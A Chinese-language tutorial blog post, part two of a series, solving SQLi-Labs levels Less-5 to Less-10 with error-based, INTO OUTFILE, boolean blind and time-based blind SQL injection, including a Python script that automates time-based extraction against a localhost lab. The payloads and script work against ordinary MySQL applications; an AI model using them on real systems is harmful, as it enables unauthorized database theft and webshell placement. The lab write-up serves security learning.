SQLi-Labs靶场从零搭建到通关全攻略(二):报错注入与盲注
2026/6/20 16:09:50 网站建设 项目流程

摘要:在上一篇文章中,我们成功搭建了SQLi-Labs靶场环境,并通关了前四关。前四关属于“显注”范畴——注入结果会直接显示在页面上。但从Less-5开始,情况发生了变化:页面不再直接显示查询结果了

当页面“沉默”了,我们该如何让数据库开口说话?本文作为系列攻略的第二篇,将系统讲解报错注入文件导出注入布尔盲注时间盲注四种核心技术,并手把手带你通关Less-5到Less-10。无论你是零基础小白,还是想系统掌握盲注技术的开发者,本文都能帮你建立起完整的知识体系。


一、从“显注”到“盲注”:为什么要换思路?

1.1 回顾前四关

在前四关中,我们用的是联合查询注入(Union-based Injection)。核心思路是:先让前面的查询失效(id=-1),然后用union select把我们的查询结果“塞”到页面显示位上。这套方法的前提是:页面有显示位——也就是查询结果会呈现在页面上。

1.2 当页面不再显示数据

但Less-5开始,情况变了。让我们先做个对比实验:

Less-1(有关键更新):

?id=1

页面会显示:Your Login name: DumbYour Password: Dumb

Less-5(无回显):

?id=1

页面只显示一句:You are in...........

看到了吗?Less-5不再显示用户名和密码了,只有一个“You are in...........”的提示。不管查询到的是什么数据,页面都只告诉你“查询成功了”——但不告诉你查到了什么

1.3 盲注的三种武器

当页面不显示数据时,我们就需要换一套打法。根据页面行为的不同,主要有三种方案:

方案适用场景核心原理
报错注入页面会显示SQL报错信息故意触发数据库错误,让错误信息“夹带私货”
布尔盲注页面在真/假条件下有不同反应构造是非判断,根据页面差异逐位猜解数据
时间盲注页面在真/假条件下反应完全相同利用延时函数,通过响应时间差异来判断真假

二、Less-5:报错注入(单引号闭合)

2.1 关卡信息

  • 关卡名称:Less-5 - GET - Double Injection - Single Quotes - String

  • 漏洞类型:GET型单引号字符型注入

  • 与Less-1的区别:页面无数据回显,但有错误回显

2.2 第一步:判断闭合方式

首先,和之前一样,测试闭合方式:

http://localhost/sqli-labs/Less-5/?id=1'

页面报错,错误信息提示是单引号闭合。

确认闭合方式为单引号

2.3 第二步:判断字段数

order by判断字段数:

?id=1' order by 3 --+ ?id=1' order by 4 --+

order by 4时报错,说明字段数为3

2.4 第三步:尝试联合查询——发现行不通

找显示位:

?id=-1' union select 1,2,3 --+

但这次页面没有任何变化——没有显示位

联合查询这条路走不通了。我们需要换一种方法:报错注入

2.5 什么是报错注入?

报错注入的核心思路是:故意构造一个会触发SQL错误的语句,让数据库返回错误信息,而错误信息中恰好包含我们想要的数据

打个比方:你去银行柜台问“我的余额是多少”,柜员不告诉你。但如果你故意填错一张表格,柜员会指着表格说“你这填错了,应该是XXX”——而这个XXX恰好就是你的余额。

2.6 报错注入的两大神器:extractvalue() 和 updatexml()

在MySQL中,有两个函数常被用于报错注入:

(1)extractvalue()

正常语法:extractvalue(XML_document, XPath_expression)

当我们给第二个参数传入一个非法的XPath路径时,MySQL会报错,并把路径内容显示在错误信息中。

(2)updatexml()

正常语法:updatexml(XML_document, XPath_expression, new_value)

和extractvalue同理,当第二个参数是非法的XPath时,会触发报错。

2.7 第四步:用报错注入获取数据库名

使用updatexml()获取当前数据库名:

?id=1' and updatexml(1,concat(0x7e,database()),1) --+

或者:

?id=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) --+

页面报错信息中会出现类似XPATH syntax error: '~security'的内容,security就是当前数据库名。

小知识0x7e是字符~的十六进制编码。加这个前缀是为了让XPath路径变成非法格式,从而触发报错。

2.8 第五步:获取所有表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

会显示emails,referers,usagents,users等表名。

2.9 第六步:获取users表的字段名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

会显示id,username,password等字段。

2.10 第七步:获取账号密码

因为group_concat可能会因为数据太长而截断,建议使用limit逐条获取:

?id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1) --+

依次修改limit后面的数字(0,11,12,1...),就能获取所有用户的账号密码。


三、Less-6:报错注入(双引号闭合)

3.1 关卡信息

  • 漏洞类型:GET型双引号字符型注入

  • 与Less-5的区别:闭合方式从单引号变成了双引号

3.2 通关步骤

Less-6和Less-5唯一的区别就是闭合方式不同。

第一步:判断闭合方式

?id=1"

报错信息提示是双引号闭合。

第二步:构造闭合payload

?id=1" --+

第三步:后续步骤和Less-5完全一样,只需要把单引号换成双引号:

查数据库名:

?id=1" and updatexml(1,concat(0x7e,database()),1) --+

查表名:

?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

查数据:

?id=1" and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1) --+


四、Less-7:文件导出注入

4.1 关卡信息

  • 关卡名称:Less-7 - GET - Dump into Outfile - String

  • 漏洞类型:GET型字符型注入,闭合方式为单引号+双括号'))

  • 核心考点:利用INTO OUTFILE将查询结果导出到文件

4.2 第一步:判断闭合方式

测试各种闭合方式:

?id=1' # 报错 ?id=1') # 报错 ?id=1')) --+ # 正常!

确认闭合方式为'))

4.3 第二步:理解INTO OUTFILE

INTO OUTFILE是MySQL的一个功能,可以将查询结果导出到服务器上的一个文件中。

在SQL注入中,这个功能常被用来写入一句话木马(Webshell),从而获得服务器的控制权。

但使用这个功能需要满足几个条件:

MySQL用户有文件写入权限

知道网站的绝对路径

MySQL的secure_file_priv配置允许文件导出

4.4 第三步:检查secure_file_priv配置

secure_file_priv是MySQL的一个安全配置参数,控制文件导出行为:

含义
NULL完全禁止文件导出
指定目录路径只能导出到该目录
空字符串允许导出到任何目录

在Less-1中可以用联合查询查看配置:

http://localhost/sqli-labs/Less-1/?id=-1' union select 1,@@secure_file_priv,3 --+

如果需要修改配置(以phpStudy为例):

打开E:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini

[mysqld]部分添加:secure_file_priv =""

重启MySQL服务

4.5 第五步:导出数据到文件

导出数据库名:

?id=-1')) union select 1,database(),3 into outfile 'E:/phpstudy_pro/WWW/sqli-labs/Less-7/database.txt' --+

导出所有表名

?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile 'E:/phpstudy_pro/WWW/sqli-labs/Less-7/1.txt' --+

导出users表的所有字段:

?id=-1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' into outfile 'E:/phpstudy_pro/WWW/sqli-labs/Less-7/users_columns.txt' --+

导出users表的所有数据

?id=1')) union select 1,2,group_concat(concat(username,':',password)) from users into outfile 'E:/phpstudy_pro/WWW/sqli-labs/Less-7/users.txt' --+

路径注意事项:路径要用/\\,不能用单个\


五、Less-8:布尔盲注(单引号闭合)

5.1 关卡信息

  • 关卡名称:Less-8 - GET - Blind - Boolean based - Single Quotes

  • 漏洞类型:GET型单引号字符型注入,布尔盲注

  • 核心特点:正确时显示You are in...........,错误时什么都不显示

5.2 什么是布尔盲注?

布尔盲注适用于这种情况:页面在SQL语句为真和为假时,表现出两种不同的状态

Less-8中:

  • 条件为真 → 页面显示You are in...........

  • 条件为假 → 页面一片空白

我们可以利用这个差异,逐位“猜”出数据。

打个比方:你问一个只会点头和摇头的人“数据库名的第一个字母是不是a?”,他点头(页面正常)就是a,摇头(页面空白)就不是a。就这样一个字母一个字母地试,最终拼出完整的数据库名。

5.3 第一步:判断闭合方式

?id=1' and 1=1 --+ # 页面正常(有You are in...) ?id=1' and 1=2 --+ # 页面空白

说明是单引号闭合的字符型注入。

5.4 第二步:判断数据库名长度

使用length(database())获取数据库名长度:

?id=1' and length(database())=8 --+

如果页面正常显示,说明数据库名长度为8;如果页面空白,说明长度不是8,继续试其他数字。

5.5 第三步:逐位猜解数据库名

使用substr()ascii()逐位猜解:

猜第1个字符

?id=1' and ascii(substr(database(),1,1))=115 --+

115是字符's'的ASCII码。如果页面正常,说明第1个字符是's'

如果不确定ASCII码是多少,可以用范围判断:

?id=1' and ascii(substr(database(),1,1))>100 --+ # 如果正常,说明ASCII > 100 ?id=1' and ascii(substr(database(),1,1))<120 --+ # 如果正常,说明ASCII < 120

通过二分法不断缩小范围,最终确定准确的ASCII值。

5.6 第四步:猜解表名、字段名、数据

掌握了方法之后,剩下的就是重复劳动:

猜表名(以第一个表为例):

?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101 --+

猜字段名(以users表的第一个字段为例):

?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105 --+

猜数据(以第一个用户的用户名为例):

?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

5.7 布尔盲注的效率问题

布尔盲注最大的问题是。每个字符都要发送几十次请求,整个数据库猜下来可能需要成百上千次请求。

在实际渗透中,通常会使用自动化脚本或工具(如sqlmap)来完成布尔盲注。但作为学习者,手工做一遍能让你深刻理解其原理。


六、Less-9:时间盲注(单引号闭合)

6.1 关卡信息

  • 关卡名称:Less-9 - GET - Blind - Time based - Single Quotes

  • 漏洞类型:GET型单引号字符型注入,时间盲注

  • 核心特点:无论输入正确还是错误,页面都显示You are in...........

6.2 什么是时间盲注?

Less-9比Less-8更“沉默”:正确和错误时页面的反应完全一样

布尔盲注靠的是“页面有内容”和“页面没内容”的差异来判断。当这个差异消失时,我们就需要引入一个新的判断依据:时间

时间盲注的核心是:如果条件为真,就让页面延迟几秒;如果为假,就不延迟。通过观察响应时间,就能判断条件的真假。

6.3 核心函数:IF() + SLEEP()

IF(condition, true_value, false_value):如果condition为真,返回true_value;否则返回false_value。

SLEEP(seconds):让数据库暂停执行指定的秒数。

组合使用:

IF(condition, SLEEP(5), 1)
  • 条件为真 → 延迟5秒

  • 条件为假 → 不延迟(执行1)

6.4 第一步:判断闭合方式

?id=1' and if(1, sleep(5), 1) --+

如果页面延迟了5秒才加载完成,说明单引号闭合有效。

6.5 第二步:判断数据库名长度

?id=1' and if((length(database())=8), sleep(5), 1) --+

如果页面延迟5秒,说明数据库名长度为8。

6.6 第三步:逐位猜解数据库名

?id=1' and if((ascii(substr(database(),1,1))=115), sleep(5), 1) --+

如果延迟5秒,说明第1个字符是's'(ASCII=115)。

6.7 第四步:猜解表名、字段名、数据

方法和布尔盲注完全一样,只是把判断条件放到IF()里:

?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101), sleep(5), 1) --+

6.8 时间盲注的自动化

时间盲注比布尔盲注更慢(每次请求都要等几秒),手工操作几乎不可能完成完整的脱库。实际中必须使用自动化脚本。

以下是一个简单的Python脚本框架:

import requests import time # 目标地址 url = "http://localhost/sqli-labs/Less-9/" sleep_time = 5 # 延时时间,统一常量方便修改 # 1. 盲注猜解数据库名长度 def get_db_name_length(): print("===== 正在猜解数据库名长度 =====") for length in range(1, 20): payload = f"?id=1' and if((length(database())={length}), sleep({sleep_time}), 1) --+" start_time = time.time() requests.get(url + payload) cost_time = time.time() - start_time if cost_time > sleep_time: print(f"成功匹配,数据库名长度:{length}") return length return 0 # 2. 根据长度逐位猜解数据库名每一位字符 def get_db_name(db_len): print("\n===== 正在逐位猜解数据库名称 =====") db_name = "" # 遍历每一位 for pos in range(1, db_len + 1): # 遍历可见ASCII字符 for ascii_code in range(32, 127): payload = ( f"?id=1' and if((ascii(substr(database(),{pos},1))={ascii_code}), " f"sleep({sleep_time}), 1) --+" ) start_time = time.time() requests.get(url + payload) cost_time = time.time() - start_time if cost_time > sleep_time: char = chr(ascii_code) db_name += char print(f"第{pos}位字符:{char}") break return db_name if __name__ == "__main__": db_length = get_db_name_length() if db_length: db_result = get_db_name(db_length) print(f"\n[最终结果] 当前数据库名:{db_result}") else: print("未猜解出数据库长度,请检查注入语句或网络")


七、Less-10:时间盲注(双引号闭合)

7.1 关卡信息

  • 关卡名称:Less-10 - GET - Blind - Time based - double quotes

  • 漏洞类型:GET型双引号字符型注入,时间盲注

  • 与Less-9的区别:闭合方式从单引号变成了双引号

7.2 通关步骤

Less-10和Less-9唯一的区别就是闭合方式不同。

第一步:判断闭合方式

?id=1" and if(1, sleep(5), 1) --+

如果延迟5秒,说明是双引号闭合

第二步:后续步骤和Less-9完全一样,只需要把单引号换成双引号:

判断数据库名长度:

?id=1" and if((length(database())=8), sleep(5), 1) --+

逐位猜解:

?id=1" and if((ascii(substr(database(),1,1))=115), sleep(5), 1) --+

八、总结

关卡注入类型闭合方式核心方法判断依据
Less-5报错注入单引号'updatexml()/extractvalue()错误信息
Less-6报错注入双引号"updatexml()/extractvalue()错误信息
Less-7文件导出单引号+双括号'))INTO OUTFILE导出的文件
Less-8布尔盲注单引号'length() + ascii() + substr()页面有无内容
Less-9时间盲注单引号'IF() + SLEEP()响应时间
Less-10时间盲注双引号"IF() + SLEEP()响应时间

理解了“盲注”的概念:当页面不显示数据时,我们需要通过报错信息、页面状态差异或时间延迟来“间接”获取数据

掌握了报错注入(Less-5 & 6):利用updatexml()extractvalue()函数,让错误信息“夹带私货”

学会了文件导出注入(Less-7):利用INTO OUTFILE将查询结果导出到文件

掌握了布尔盲注(Less-8):利用页面“有内容”和“没内容”的差异,逐位猜解数据

掌握了时间盲注(Less-9 & 10):利用IF()+SLEEP()组合,通过响应时间差异来判断条件真假

从Less-5到Less-10,我们完成了从“显注”到“盲注”的跨越。盲注虽然比显注更麻烦、更耗时,但它能应对更“沉默”的页面,是实际渗透中非常重要的技能。


重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。

如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询